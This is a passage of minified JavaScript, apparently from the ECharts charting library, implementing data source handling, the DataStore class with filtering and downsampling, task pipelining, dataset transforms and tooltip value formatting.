l=Fo(t[0]);o=U(l)&&l.length||1}return{startIndex:a,dimensionsDefine:Ad(i),dimensionsDetectedCount:o}}(t,n,r,e.sourceHeader,e.dimensions);return new Td({data:t,sourceFormat:n,seriesLayoutBy:r,dimensionsDefine:i.dimensionsDefine,startIndex:i.startIndex,dimensionsDetectedCount:i.dimensionsDetectedCount,metaRawOption:k(e)})}function Id(t){return new Td({data:t,sourceFormat:$(t)?Bl:Ol})}function Dd(t){var e=zl;if($(t))e=Bl;else if(U(t)){0===t.length&&(e=Rl);for(var n=0,r=t.length;n<r;n++){var i=t[n];if(null!=i){if(U(i)||$(i)){e=Rl;break}if(j(i)){e=Nl;break}}}}else if(j(t))for(var o in t)if(xt(t,o)&&N(t[o])){e=El;break}return e}function Ad(t){if(t){var e=vt();return B(t,function(t,n){var r={name:(t=j(t)?t:{name:t}).name,displayName:t.displayName,type:t.type};if(null==r.name)return r;r.name+="",null==r.displayName&&(r.displayName=r.name);var i=e.get(r.name);return i?r.name+="-"+i.count++:e.set(r.name,{count:1}),r})}}function Ld(t,e,n,r){if(e===Vl)for(var i=0;i<n.length&&i<r;i++)t(n[i]?n[i][0]:null,i);else{var o=n[0]||[];for(i=0;i<o.length&&i<r;i++)t(o[i],i)}}function Pd(t){var e=t.sourceFormat;return e===Nl||e===El}var Od=function(){function t(t,e){var n=kd(t)?t:Id(t);this._source=n;var r=this._data=n.data,i=n.sourceFormat;n.seriesLayoutBy;i===Bl&&(this._offset=0,this._dimSize=e,this._data=r),Md(this,r,n)}var e;return t.prototype.getSource=function(){return this._source},t.prototype.count=function(){return 0},t.prototype.getItem=function(t,e){},t.prototype.appendData=function(t){},t.prototype.clean=function(){},t.protoInitialize=((e=t.prototype).pure=!1,void(e.persistent=!0)),t.internalField=function(){var t;Md=function(t,i,o){var a=o.sourceFormat,s=o.seriesLayoutBy,l=o.startIndex,u=o.dimensionsDefine,c=Sd[Ud(a,s)];if(I(t,c),a===Bl)t.getItem=e,t.count=r,t.fillStorage=n;else{var h=Bd(a,s);t.getItem=W(h,null,i,l,u);var f=Vd(a,s);t.count=W(f,null,i,l,u)}};var e=function(t,e){t-=this._offset,e=e||[];for(var n=this._data,r=this._dimSize,i=r*t,o=0;o<r;o++)e[o]=n[i+o];return e},n=function(t,e,n,r){for(var i=this._data,o=this._dimSize,a=0;a<o;a++){for(var s=r[a],l=null==s[0]?1/0:s[0],u=null==s[1]?-1/0:s[1],c=e-t,h=n[a],f=0;f<c;f++){var p=i[f*o+a];h[t+f]=p,p<l&&(l=p),p>u&&(u=p)}s[0]=l,s[1]=u}},r=function(){return this._data?this._data.length/this._dimSize:0};function i(t){for(var e=0;e<t.length;e++)this._data.push(t[e])}(t={})[Rl+"_"+Fl]={pure:!0,appendData:i},t[Rl+"_"+Vl]={pure:!0,appendData:function(){throw new Error('Do not support appendData when set seriesLayoutBy: "row".')}},t[Nl]={pure:!0,appendData:i},t[El]={pure:!0,appendData:function(t){var e=this._data;E(t,function(t,n){for(var r=e[n]||(e[n]=[]),i=0;i<(t||[]).length;i++)r.push(t[i])})}},t[Ol]={appendData:i},t[Bl]={persistent:!1,pure:!0,appendData:function(t){this._data=t},clean:function(){this._offset+=this.count(),this._data=null}},Sd=t}(),t}(),Rd=function(t){U(t)||Lo("series.data or dataset.source must be an array.")},Nd=((_d={})[Rl+"_"+Fl]=Rd,_d[Rl+"_"+Vl]=Rd,_d[Nl]=Rd,_d[El]=function(t,e){for(var n=0;n<e.length;n++){null==e[n].name&&Lo("dimension name must not be null/undefined.")}},_d[Ol]=Rd,function(t,e,n,r){return t[r]}),Ed=((xd={})[Rl+"_"+Fl]=function(t,e,n,r){return t[r+e]},xd[Rl+"_"+Vl]=function(t,e,n,r,i){r+=e;for(var o=i||[],a=t,s=0;s<a.length;s++){var l=a[s];o[s]=l?l[r]:null}return o},xd[Nl]=Nd,xd[El]=function(t,e,n,r,i){for(var o=i||[],a=0;a<n.length;a++){var s=n[a].name,l=null!=s?t[s]:null;o[a]=l?l[r]:null}return o},xd[Ol]=Nd,xd);function Bd(t,e){var n=Ed[Ud(t,e)];return n}var zd=function(t,e,n){return t.length},Fd=((bd={})[Rl+"_"+Fl]=function(t,e,n){return Math.max(0,t.length-e)},bd[Rl+"_"+Vl]=function(t,e,n){var r=t[0];return r?Math.max(0,r.length-e):0},bd[Nl]=zd,bd[El]=function(t,e,n){var r=n[0].name,i=null!=r?t[r]:null;return i?i.length:0},bd[Ol]=zd,bd);function Vd(t,e){var n=Fd[Ud(t,e)];return n}var Hd=function(t,e,n){return t[e]},Wd=((wd={})[Rl]=Hd,wd[Nl]=function(t,e,n){return t[n]},wd[El]=Hd,wd[Ol]=function(t,e,n){var r=Fo(t);return r instanceof Array?r[e]:r},wd[Bl]=Hd,wd);function Gd(t){var e=Wd[t];return e}function Ud(t,e){return t===Rl?t+"_"+e:t}function Xd(t,e,n){if(t){var r=t.getRawDataItem(e);if(null!=r){var i=t.getStore(),o=i.getSource().sourceFormat;if(null!=n){var a=t.getDimensionIndex(n),s=i.getDimensionProperty(a);return Gd(o)(r,a,s)}var l=r;return o===Ol&&(l=Fo(r)),l}}}var Yd=/\{@(.+?)\}/g,qd=function(){function t(){}return t.prototype.getDataParams=function(t,e){var n=this.getData(e),r=this.getRawValue(t,e),i=n.getRawIndex(t),o=n.getName(t),a=n.getRawDataItem(t),s=n.getItemVisual(t,"style"),l=s&&s[n.getItemVisual(t,"drawType")||"fill"],u=s&&s.stroke,c=this.mainType,h="series"===c,f=n.userOutput&&n.userOutput.get();return{componentType:c,componentSubType:this.subType,componentIndex:this.componentIndex,seriesType:h?this.subType:null,seriesIndex:this.seriesIndex,seriesId:h?this.id:null,seriesName:h?this.name:null,name:o,dataIndex:i,data:a,dataType:e,value:r,color:l,borderColor:u,dimensionNames:f?f.fullDimensions:null,encode:f?f.encode:null,$vars:["seriesName","name","value"]}},t.prototype.getFormattedLabel=function(t,e,n,r,i,o){e=e||"normal";var a=this.getData(n),s=this.getDataParams(t,n);(o&&(s.value=o.interpolatedValue),null!=r&&U(s.value)&&(s.value=s.value[r]),i)||(i=a.getItemModel(t).get("normal"===e?["label","formatter"]:[e,"label","formatter"]));return X(i)?(s.status=e,s.dimensionIndex=r,i(s)):Y(i)?Kf(i,s).replace(Yd,function(e,n){var r=n.length,i=n;"["===i.charAt(0)&&"]"===i.charAt(r-1)&&(i=+i.slice(1,r-1));var s=Xd(a,t,i);if(o&&U(o.interpolatedValue)){var l=a.getDimensionIndex(i);l>=0&&(s=o.interpolatedValue[l])}return null!=s?s+"":""}):void 0},t.prototype.getRawValue=function(t,e){return Xd(this.getData(e),t)},t.prototype.formatTooltip=function(t,e,n){},t}();function Zd(t){return new jd(t)}var jd=function(){function t(t){t=t||{},this._reset=t.reset,this._plan=t.plan,this._count=t.count,this._onDirty=t.onDirty,this._dirty=!0}return t.prototype.perform=function(t){var e,n=this._upstream,r=t&&t.skip;if(this._dirty&&n){var i=this.context;i.data=i.outputData=n.context.outputData}this.__pipeline&&(this.__pipeline.currentTask=this),this._plan&&!r&&(e=this._plan(this.context));var o,a=c(this._modBy),s=this._modDataCount||0,l=c(t&&t.modBy),u=t&&t.modDataCount||0;function c(t){return!(t>=1)&&(t=1),t}a===l&&s===u||(e="reset"),(this._dirty||"reset"===e)&&(this._dirty=!1,o=this._doReset(r)),this._modBy=l,this._modDataCount=u;var h=t&&t.step;if(this._dueEnd=n?n._outputDueEnd:this._count?this._count(this.context):1/0,this._progress){var f=this._dueIndex,p=Math.min(null!=h?this._dueIndex+h:1/0,this._dueEnd);if(!r&&(o||f<p)){var d=this._progress;if(U(d))for(var g=0;g<d.length;g++)this._doProgress(d[g],f,p,l,u);else this._doProgress(d,f,p,l,u)}this._dueIndex=p;var v=null!=this._settedOutputEnd?this._settedOutputEnd:p;0,this._outputDueEnd=v}else this._dueIndex=this._outputDueEnd=null!=this._settedOutputEnd?this._settedOutputEnd:this._dueEnd;return this.unfinished()},t.prototype.dirty=function(){this._dirty=!0,this._onDirty&&this._onDirty(this.context)},t.prototype._doProgress=function(t,e,n,r,i){Kd.reset(e,n,r,i),this._callingProgress=t,this._callingProgress({start:e,end:n,count:n-e,next:Kd.next},this.context)},t.prototype._doReset=function(t){var e,n;this._dueIndex=this._outputDueEnd=this._dueEnd=0,this._settedOutputEnd=null,!t&&this._reset&&((e=this._reset(this.context))&&e.progress&&(n=e.forceFirstProgress,e=e.progress),U(e)&&!e.length&&(e=null)),this._progress=e,this._modBy=this._modDataCount=null;var r=this._downstream;return r&&r.dirty(),n},t.prototype.unfinished=function(){return this._progress&&this._dueIndex<this._dueEnd},t.prototype.pipe=function(t){(this._downstream!==t||this._dirty)&&(this._downstream=t,t._upstream=this,t.dirty())},t.prototype.dispose=function(){this._disposed||(this._upstream&&(this._upstream._downstream=null),this._downstream&&(this._downstream._upstream=null),this._dirty=!1,this._disposed=!0)},t.prototype.getUpstream=function(){return this._upstream},t.prototype.getDownstream=function(){return this._downstream},t.prototype.setOutputEnd=function(t){this._outputDueEnd=this._settedOutputEnd=t},t}(),Kd=function(){var t,e,n,r,i,o={reset:function(l,u,c,h){e=l,t=u,n=c,r=h,i=Math.ceil(r/n),o.next=n>1&&r>0?s:a}};return o;function a(){return e<t?e++:null}function s(){var o=e%i*n+Math.ceil(e/i),a=e>=t?null:o<r?o:e;return e++,a}}();function $d(t,e){var n=e&&e.type;return"ordinal"===n?t:("time"!==n||Z(t)||null==t||"-"===t||(t=+mo(t)),null==t||""===t?NaN:Number(t))}vt({number:function(t){return parseFloat(t)},time:function(t){return+mo(t)},trim:function(t){return Y(t)?ut(t):t}});function Qd(t){var e="",n=-1/0,r=-1/0,i=1/0,o=1/0;return t&&(null!=t.g&&(e+="G"+t.g,n=t.g),null!=t.ge&&(e+="GE"+t.ge,r=t.ge),null!=t.l&&(e+="L"+t.l,i=t.l),null!=t.le&&(e+="LE"+t.le,o=t.le)),{key:e,g:n,ge:r,l:i,le:o}}function Jd(t,e){return e>t.g&&e>=t.ge&&e<t.l&&e<=t.le}var tg=function(){function t(){}return t.prototype.getRawData=function(){throw new Error("not supported")},t.prototype.getRawDataItem=function(t){throw new Error("not supported")},t.prototype.cloneRawData=function(){},t.prototype.getDimensionInfo=function(t){},t.prototype.cloneAllDimensionInfo=function(){},t.prototype.count=function(){},t.prototype.retrieveValue=function(t,e){},t.prototype.retrieveValueFromItem=function(t,e){},t.prototype.convertValue=function(t,e){return $d(t,e)},t}();function eg(t){var e=t.sourceFormat;if(!sg(e)){var n="";0,Oo(n)}return t.data}function ng(t){var e=t.sourceFormat,n=t.data;if(!sg(e)){var r="";0,Oo(r)}if(e===Rl){for(var i=[],o=0,a=n.length;o<a;o++)i.push(n[o].slice());return i}if(e===Nl){for(i=[],o=0,a=n.length;o<a;o++)i.push(I({},n[o]));return i}}function rg(t,e,n){if(null!=n)return Z(n)||!isNaN(n)&&!xt(e,n)?t[n]:xt(e,n)?e[n]:void 0}function ig(t){return k(t)}var og=vt();function ag(t,e,n,r){var i="";e.length||Oo(i),j(t)||Oo(i);var o=t.type,a=og.get(o);a||Oo(i);var s=B(e,function(t){return function(t,e){var n=new tg,r=t.data,i=n.sourceFormat=t.sourceFormat,o=t.startIndex,a="";t.seriesLayoutBy!==Fl&&Oo(a);var s=[],l={},u=t.dimensionsDefine;if(u)E(u,function(t,e){var n=t.name,r={index:e,name:n,displayName:t.displayName};if(s.push(r),null!=n){var i="";xt(l,n)&&Oo(i),l[n]=r}});else for(var c=0;c<t.dimensionsDetectedCount;c++)s.push({index:c});var h=Bd(i,Fl);e.__isBuiltIn&&(n.getRawDataItem=function(t){return h(r,o,s,t)},n.getRawData=W(eg,null,t)),n.cloneRawData=W(ng,null,t);var f=Vd(i,Fl);n.count=W(f,null,r,o,s);var p=Gd(i);n.retrieveValue=function(t,e){var n=h(r,o,s,t);return d(n,e)};var d=n.retrieveValueFromItem=function(t,e){if(null!=t){var n=s[e];return n?p(t,e,n.name):void 0}};return n.getDimensionInfo=W(rg,null,s,l),n.cloneAllDimensionInfo=W(ig,null,s),n}(t,a)}),l=Eo(a.transform({upstream:s[0],upstreamList:s,config:k(t.config)}));return B(l,function(t,n){var r,i="";j(t)||Oo(i),t.data||Oo(i),sg(Dd(t.data))||Oo(i);var o=e[0];if(o&&0===n&&!t.dimensions){var a=o.startIndex;a&&(t.data=o.data.slice(0,a).concat(t.data)),r={seriesLayoutBy:Fl,sourceHeader:a,dimensions:o.metaRawOption.dimensions}}else r={seriesLayoutBy:Fl,sourceHeader:0,dimensions:t.dimensions};return Cd(t.data,r,null)})}function sg(t){return t===Rl||t===Nl}var lg,ug=typeof Uint32Array===Al?Array:Uint32Array,cg=typeof Uint16Array===Al?Array:Uint16Array,hg=typeof Int32Array===Al?Array:Int32Array,fg=typeof Float64Array===Al?Array:Float64Array,pg={float:fg,int:hg,ordinal:Array,number:Array,time:fg};function dg(t){return t>65535?ug:cg}function gg(t){var e=t.constructor;return e===Array?t.slice():new e(t)}function vg(t,e,n,r,i){var o=pg[n||"float"];if(i){var a=t[e],s=a&&a.length;if(s!==r){for(var l=new o(r),u=0;u<s;u++)l[u]=a[u];t[e]=l}}else t[e]=new o(r)}var yg=function(){function t(){this._chunks=[],this._rawExtent=[],this._extent=[],this._count=0,this._rawCount=0,this._calcDimNameToIdx=vt()}return t.prototype.initData=function(t,e,n){this._provider=t,this._chunks=[],this._indices=null,this.getRawIndex=this._getRawIdxIdentity;var r=t.getSource(),i=this.defaultDimValueGetter=lg[r.sourceFormat];this._dimValueGetter=n||i,this._rawExtent=[];Pd(r);this._dimensions=B(e,function(t){return{type:t.type,property:t.property}}),this._initDataFromProvider(0,t.count())},t.prototype.getProvider=function(){return this._provider},t.prototype.getSource=function(){return this._provider.getSource()},t.prototype.ensureCalculationDimension=function(t,e){var n=this._calcDimNameToIdx,r=this._dimensions,i=n.get(t);if(null!=i){if(r[i].type===e)return i}else i=r.length;return r[i]={type:e},n.set(t,i),this._chunks[i]=new pg[e||"float"](this._rawCount),this._rawExtent[i]=[1/0,-1/0],i},t.prototype.collectOrdinalMeta=function(t,e){var n=this._chunks[t],r=this._dimensions[t],i=this._rawExtent,o=r.ordinalOffset||0,a=n.length;0===o&&(i[t]=[1/0,-1/0]);for(var s=i[t],l=o;l<a;l++){var u=n[l]=e.parseAndCollect(n[l]);isNaN(u)||(s[0]=Math.min(u,s[0]),s[1]=Math.max(u,s[1]))}r.ordinalMeta=e,r.ordinalOffset=a,r.type="ordinal"},t.prototype.getOrdinalMeta=function(t){return this._dimensions[t].ordinalMeta},t.prototype.getDimensionProperty=function(t){var e=this._dimensions[t];return e&&e.property},t.prototype.appendData=function(t){var e=this._provider,n=this.count();e.appendData(t);var r=e.count();return e.persistent||(r+=n),n<r&&this._initDataFromProvider(n,r,!0),[n,r]},t.prototype.appendValues=function(t,e){for(var n=this._chunks,r=this._dimensions,i=r.length,o=this._rawExtent,a=this.count(),s=a+Math.max(t.length,e||0),l=0;l<i;l++){vg(n,l,(p=r[l]).type,s,!0)}for(var u=[],c=a;c<s;c++)for(var h=c-a,f=0;f<i;f++){var p=r[f],d=lg.arrayRows.call(this,t[h]||u,p.property,h,f);n[f][c]=d;var g=o[f];d<g[0]&&(g[0]=d),d>g[1]&&(g[1]=d)}return this._rawCount=this._count=s,{start:a,end:s}},t.prototype._initDataFromProvider=function(t,e,n){for(var r=this._provider,i=this._chunks,o=this._dimensions,a=o.length,s=this._rawExtent,l=B(o,function(t){return t.property}),u=0;u<a;u++){var c=o[u];s[u]||(s[u]=ea()),vg(i,u,c.type,e,n)}if(r.fillStorage)r.fillStorage(t,e,i,s);else for(var h=[],f=t;f<e;f++){h=r.getItem(f,h);for(var p=0;p<a;p++){var d=i[p],g=this._dimValueGetter(h,l[p],f,p);d[f]=g;var v=s[p];g<v[0]&&(v[0]=g),g>v[1]&&(v[1]=g)}}!r.persistent&&r.clean&&r.clean(),this._rawCount=this._count=e,this._extent=[]},t.prototype.count=function(){return this._count},t.prototype.get=function(t,e){if(!(e>=0&&e<this._count))return NaN;var n=this._chunks[t];return n?n[this.getRawIndex(e)]:NaN},t.prototype.getValues=function(t,e){var n=[],r=[];if(null==e){e=t,t=[];for(var i=0;i<this._dimensions.length;i++)r.push(i)}else r=t;i=0;for(var o=r.length;i<o;i++)n.push(this.get(r[i],e));return n},t.prototype.getByRawIndex=function(t,e){if(!(e>=0&&e<this._rawCount))return NaN;var n=this._chunks[t];return n?n[e]:NaN},t.prototype.getSum=function(t){var e=0;if(this._chunks[t])for(var n=0,r=this.count();n<r;n++){var i=this.get(t,n);isNaN(i)||(e+=i)}return e},t.prototype.getMedian=function(t){var e=[];this.each([t],function(t){isNaN(t)||e.push(t)}),lo(e);var n=this.count();return 0===n?0:n%2==1?e[(n-1)/2]:(e[n/2]+e[n/2-1])/2},t.prototype.indexOfRawIndex=function(t){if(t>=this._rawCount||t<0)return-1;if(!this._indices)return t;var e=this._indices,n=e[t];if(null!=n&&n<this._count&&n===t)return t;for(var r=0,i=this._count-1;r<=i;){var o=(r+i)/2|0;if(e[o]<t)r=o+1;else{if(!(e[o]>t))return o;i=o-1}}return-1},t.prototype.getIndices=function(){var t,e=this._indices;if(e){var n=e.constructor,r=this._count;if(n===Array){t=new n(r);for(var i=0;i<r;i++)t[i]=e[i]}else t=new n(e.buffer,0,r)}else{t=new(n=dg(this._rawCount))(this.count());for(i=0;i<t.length;i++)t[i]=i}return t},t.prototype.filter=function(t,e){if(!this._count)return this;for(var n=this.clone(),r=n.count(),i=new(dg(n._rawCount))(r),o=[],a=t.length,s=0,l=t[0],u=n._chunks,c=0;c<r;c++){var h=void 0,f=n.getRawIndex(c);if(0===a)h=e(c);else if(1===a){h=e(u[l][f],c)}else{for(var p=0;p<a;p++)o[p]=u[t[p]][f];o[p]=c,h=e.apply(null,o)}h&&(i[s++]=f)}return s<r&&(n._indices=i),n._count=s,n._extent=[],n._updateGetRawIdx(),n},t.prototype.selectRange=function(t){var e=this.clone(),n=e._count;if(!n)return this;var r=H(t),i=r.length;if(!i)return this;var o=e.count(),a=new(dg(e._rawCount))(o),s=0,l=r[0],u=t[l][0],c=t[l][1],h=e._chunks,f=!1;if(!e._indices){var p=0;if(1===i){for(var d=h[r[0]],g=0;g<n;g++){((_=d[g])>=u&&_<=c||isNaN(_))&&(a[s++]=p),p++}f=!0}else if(2===i){d=h[r[0]];var v=h[r[1]],y=t[r[1]][0],m=t[r[1]][1];for(g=0;g<n;g++){var _=d[g],x=v[g];(_>=u&&_<=c||isNaN(_))&&(x>=y&&x<=m||isNaN(x))&&(a[s++]=p),p++}f=!0}}if(!f)if(1===i)for(g=0;g<o;g++){var b=e.getRawIndex(g);((_=h[r[0]][b])>=u&&_<=c||isNaN(_))&&(a[s++]=b)}else for(g=0;g<o;g++){for(var w=!0,S=(b=e.getRawIndex(g),0);S<i;S++){var M=r[S];((_=h[M][b])<t[M][0]||_>t[M][1])&&(w=!1)}w&&(a[s++]=e.getRawIndex(g))}return s<o&&(e._indices=a),e._count=s,e._extent=[],e._updateGetRawIdx(),e},t.prototype.map=function(t,e){var n=this.clone(t);return this._updateDims(n,t,e),n},t.prototype.modify=function(t,e){this._updateDims(this,t,e)},t.prototype._updateDims=function(t,e,n){for(var r=t._chunks,i=[],o=e.length,a=t.count(),s=[],l=t._rawExtent,u=0;u<e.length;u++)l[e[u]]=ea();for(var c=0;c<a;c++){for(var h=t.getRawIndex(c),f=0;f<o;f++)s[f]=r[e[f]][h];s[o]=c;var p=n&&n.apply(null,s);if(null!=p){"object"!=typeof p&&(i[0]=p,p=i);for(u=0;u<p.length;u++){var d=e[u],g=p[u],v=l[d],y=r[d];y&&(y[h]=g),g<v[0]&&(v[0]=g),g>v[1]&&(v[1]=g)}}}},t.prototype.lttbDownSample=function(t,e){var n,r,i,o=this.clone([t],!0),a=o._chunks[t],s=this.count(),l=0,u=Math.floor(1/e),c=this.getRawIndex(0),h=new(dg(this._rawCount))(Math.min(2*(Math.ceil(s/u)+2),s));h[l++]=c;for(var f=1;f<s-1;f+=u){for(var p=Math.min(f+u,s-1),d=Math.min(f+2*u,s),g=(d+p)/2,v=0,y=p;y<d;y++){var m=a[T=this.getRawIndex(y)];isNaN(m)||(v+=m)}v/=d-p;var _=f,x=Math.min(f+u,s),b=f-1,w=a[c];n=-1,i=_;var S=-1,M=0;for(y=_;y<x;y++){var T;m=a[T=this.getRawIndex(y)];isNaN(m)?(M++,S<0&&(S=T)):(r=Math.abs((b-g)*(m-w)-(b-y)*(v-w)))>n&&(n=r,i=T)}M>0&&M<x-_&&(h[l++]=Math.min(S,i),i=Math.max(S,i)),h[l++]=i,c=i}return h[l++]=this.getRawIndex(s-1),o._count=l,o._indices=h,o.getRawIndex=this._getRawIdx,o},t.prototype.minmaxDownSample=function(t,e){for(var n=this.clone([t],!0),r=n._chunks,i=Math.floor(1/e),o=r[t],a=this.count(),s=new(dg(this._rawCount))(2*Math.ceil(a/i)),l=0,u=0;u<a;u+=i){var c=u,h=o[this.getRawIndex(c)],f=u,p=o[this.getRawIndex(f)],d=i;u+i>a&&(d=a-u);for(var g=0;g<d;g++){var v=o[this.getRawIndex(u+g)];v<h&&(h=v,c=u+g),v>p&&(p=v,f=u+g)}var y=this.getRawIndex(c),m=this.getRawIndex(f);c<f?(s[l++]=y,s[l++]=m):(s[l++]=m,s[l++]=y)}return n._count=l,n._indices=s,n._updateGetRawIdx(),n},t.prototype.downSample=function(t,e,n,r){for(var i=this.clone([t],!0),o=i._chunks,a=[],s=Math.floor(1/e),l=o[t],u=this.count(),c=i._rawExtent[t]=[1/0,-1/0],h=new(dg(this._rawCount))(Math.ceil(u/s)),f=0,p=0;p<u;p+=s){s>u-p&&(s=u-p,a.length=s);for(var d=0;d<s;d++){var g=this.getRawIndex(p+d);a[d]=l[g]}var v=n(a),y=this.getRawIndex(Math.min(p+r(a,v)||0,u-1));l[y]=v,v<c[0]&&(c[0]=v),v>c[1]&&(c[1]=v),h[f++]=y}return i._count=f,i._indices=h,i._updateGetRawIdx(),i},t.prototype.each=function(t,e){if(this._count)for(var n=t.length,r=this._chunks,i=0,o=this.count();i<o;i++){var a=this.getRawIndex(i);switch(n){case 0:e(i);break;case 1:e(r[t[0]][a],i);break;case 2:e(r[t[0]][a],r[t[1]][a],i);break;default:for(var s=0,l=[];s<n;s++)l[s]=r[t[s]][a];l[s]=i,e.apply(null,l)}}},t.prototype.getDataExtent=function(t,e){var n=this._chunks[t],r=[1/0,-1/0];if(!n)return r;var i=this.count();if(!this._indices&&!e)return this._rawExtent[t].slice();var o=this._extent,a=o[t]||(o[t]={}),s=Qd(e),l=s.key,u=a[l];if(u)return u.slice();for(var c=r[0],h=r[1],f=0;f<i;f++){var p=n[this.getRawIndex(f)];e&&!Jd(s,p)||(p<c&&(c=p),p>h&&(h=p))}return a[l]=[c,h]},t.prototype.getRawDataItem=function(t){var e=this.getRawIndex(t);if(this._provider.persistent)return this._provider.getItem(e);for(var n=[],r=this._chunks,i=0;i<r.length;i++)n.push(r[i][e]);return n},t.prototype.clone=function(e,n){var r=new t,i=this._chunks,o=e&&z(e,function(t,e){return t[e]=!0,t},{});if(o)for(var a=0;a<i.length;a++)r._chunks[a]=o[a]?gg(i[a]):i[a];else r._chunks=i;return this._copyCommonProps(r),n||(r._indices=this._cloneIndices()),r._updateGetRawIdx(),r},t.prototype._copyCommonProps=function(t){t._count=this._count,t._rawCount=this._rawCount,t._provider=this._provider,t._dimensions=this._dimensions,t._extent=k(this._extent),t._rawExtent=k(this._rawExtent)},t.prototype._cloneIndices=function(){if(this._indices){var t=this._indices.constructor,e=void 0;if(t===Array){var n=this._indices.length;e=new t(n);for(var r=0;r<n;r++)e[r]=this._indices[r]}else e=new t(this._indices);return e}return null},t.prototype._getRawIdxIdentity=function(t){return t},t.prototype._getRawIdx=function(t){return t<this._count&&t>=0?this._indices[t]:-1},t.prototype._updateGetRawIdx=function(){this.getRawIndex=this._indices?this._getRawIdx:this._getRawIdxIdentity},t.internalField=function(){function t(t,e,n,r){return $d(t[r],this._dimensions[r])}lg={arrayRows:t,objectRows:function(t,e,n,r){return $d(t[e],this._dimensions[r])},keyedColumns:t,original:function(t,e,n,r){var i=t&&(null==t.value?t:t.value);return $d(i instanceof Array?i[r]:i,this._dimensions[r])},typedArray:function(t,e,n,r){return t[r]}}}(),t}(),mg=function(){function t(t){this._sourceList=[],this._storeList=[],this._upstreamSignList=[],this._versionSignBase=0,this._dirty=!0,this._sourceHost=t}return t.prototype.dirty=function(){this._setLocalSource([],[]),this._storeList=[],this._dirty=!0},t.prototype._setLocalSource=function(t,e){this._sourceList=t,this._upstreamSignList=e,this._versionSignBase++,this._versionSignBase>9e10&&(this._versionSignBase=0)},t.prototype._getVersionSign=function(){return this._sourceHost.uid+"_"+this._versionSignBase},t.prototype.prepareSource=function(){this._isDirty()&&(this._createSource(),this._dirty=!1)},t.prototype._createSource=function(){this._setLocalSource([],[]);var t,e,n=this._sourceHost,r=this._getUpstreamSourceManagers(),i=!!r.length;if(xg(n)){var o=n,a=void 0,s=void 0,l=void 0;if(i){var u=r[0];u.prepareSource(),a=(l=u.getSource()).data,s=l.sourceFormat,e=[u._getVersionSign()]}else s=$(a=o.get("data",!0))?Bl:Ol,e=[];var c=this._getSourceMetaRawOption()||{},h=l&&l.metaRawOption||{},f=it(c.seriesLayoutBy,h.seriesLayoutBy)||null,p=it(c.sourceHeader,h.sourceHeader),d=it(c.dimensions,h.dimensions);t=f!==h.seriesLayoutBy||!!p!=!!h.sourceHeader||d?[Cd(a,{seriesLayoutBy:f,sourceHeader:p,dimensions:d},s)]:[]}else{var g=n;if(i){var v=this._applyTransform(r);t=v.sourceList,e=v.upstreamSignList}else{t=[Cd(g.get("source",!0),this._getSourceMetaRawOption(),null)],e=[]}}this._setLocalSource(t,e)},t.prototype._applyTransform=function(t){var e,n=this._sourceHost,r=n.get("transform",!0),i=n.get("fromTransformResult",!0);if(null!=i){var o="";1!==t.length&&bg(o)}var a,s=[],l=[];return E(t,function(t){t.prepareSource();var e=t.getSource(i||0),n="";null==i||e||bg(n),s.push(e),l.push(t._getVersionSign())}),r?e=function(t,e){var n=Eo(t),r=n.length,i="";r||Oo(i);for(var o=0,a=r;o<a;o++)e=ag(n[o],e),o!==a-1&&(e.length=Math.max(e.length,1));return e}(r,s,n.componentIndex):null!=i&&(e=[(a=s[0],new Td({data:a.data,sourceFormat:a.sourceFormat,seriesLayoutBy:a.seriesLayoutBy,dimensionsDefine:k(a.dimensionsDefine),startIndex:a.startIndex,dimensionsDetectedCount:a.dimensionsDetectedCount}))]),{sourceList:e,upstreamSignList:l}},t.prototype._isDirty=function(){if(this._dirty)return!0;for(var t=this._getUpstreamSourceManagers(),e=0;e<t.length;e++){var n=t[e];if(n._isDirty()||this._upstreamSignList[e]!==n._getVersionSign())return!0}},t.prototype.getSource=function(t){t=t||0;var e=this._sourceList[t];if(!e){var n=this._getUpstreamSourceManagers();return n[0]&&n[0].getSource(t)}return e},t.prototype.getSharedDataStore=function(t){var e=t.makeStoreSchema();return this._innerGetDataStore(e.dimensions,t.source,e.hash)},t.prototype._innerGetDataStore=function(t,e,n){var r=this._storeList,i=r[0];i||(i=r[0]={});var o=i[n];if(!o){var a=this._getUpstreamSourceManagers()[0];xg(this._sourceHost)&&a?o=a._innerGetDataStore(t,e,n):(o=new yg).initData(new Od(e,t.length),t),i[n]=o}return o},t.prototype._getUpstreamSourceManagers=function(){var t=this._sourceHost;if(xg(t)){var e=Pp(t);return e?[e.getSourceManager()]:[]}return B(function(t){return t.get("transform",!0)||t.get("fromTransformResult",!0)?Jo(t.ecModel,"dataset",{index:t.get("fromDatasetIndex",!0),id:t.get("fromDatasetId",!0)},Qo).models:[]}(t),function(t){return t.getSourceManager()})},t.prototype._getSourceMetaRawOption=function(){var t,e,n,r=this._sourceHost;if(xg(r))t=r.get("seriesLayoutBy",!0),e=r.get("sourceHeader",!0),n=r.get("dimensions",!0);else if(!this._getUpstreamSourceManagers().length){var i=r;t=i.get("seriesLayoutBy",!0),e=i.get("sourceHeader",!0),n=i.get("dimensions",!0)}return{seriesLayoutBy:t,sourceHeader:e,dimensions:n}},t}();function _g(t){t.option.transform&&ht(t.option.transform)}function xg(t){return"series"===t.mainType}function bg(t){throw new Error(t)}function wg(t,e){return e.type=t,e}function Sg(t){var e,n,r,i,o=t.series,a=t.dataIndex,s=t.multipleSeries,l=o.getData(),u=l.mapDimensionsAll("defaultedTooltip"),c=u.length,h=o.getRawValue(a),f=U(h),p=function(t,e){return $f(t.getData().getItemVisual(e,"style")[t.visualDrawType])}(o,a);if(c>1||f&&!c){var d=function(t,e,n,r,i){var o=e.getData(),a=z(t,function(t,e,n){var r=o.getDimensionInfo(n);return t||r&&!1!==r.tooltip&&null!=r.displayName},!1),s=[],l=[],u=[];function c(t,e){var n=o.getDimensionInfo(e);n&&!1!==n.otherDims.tooltip&&(a?u.push(wg("nameValue",{markerType:"subItem",markerColor:i,name:n.displayName,value:t,valueType:n.type})):(s.push(t),l.push(n.type)))}return r.length?E(r,function(t){c(Xd(o,n,t),t)}):E(t,c),{inlineValues:s,inlineValueTypes:l,blocks:u}}(h,o,a,u,p);e=d.inlineValues,n=d.inlineValueTypes,r=d.blocks,i=d.inlineValues[0]}else if(c){var g=l.getDimensionInfo(u[0]);i=e=Xd(l,a,u[0]),n=g.type}else i=e=f?h[0]:h;var v=Xo(o),y=v&&o.name||"",m=l.getName(a),_=s?y:m;return 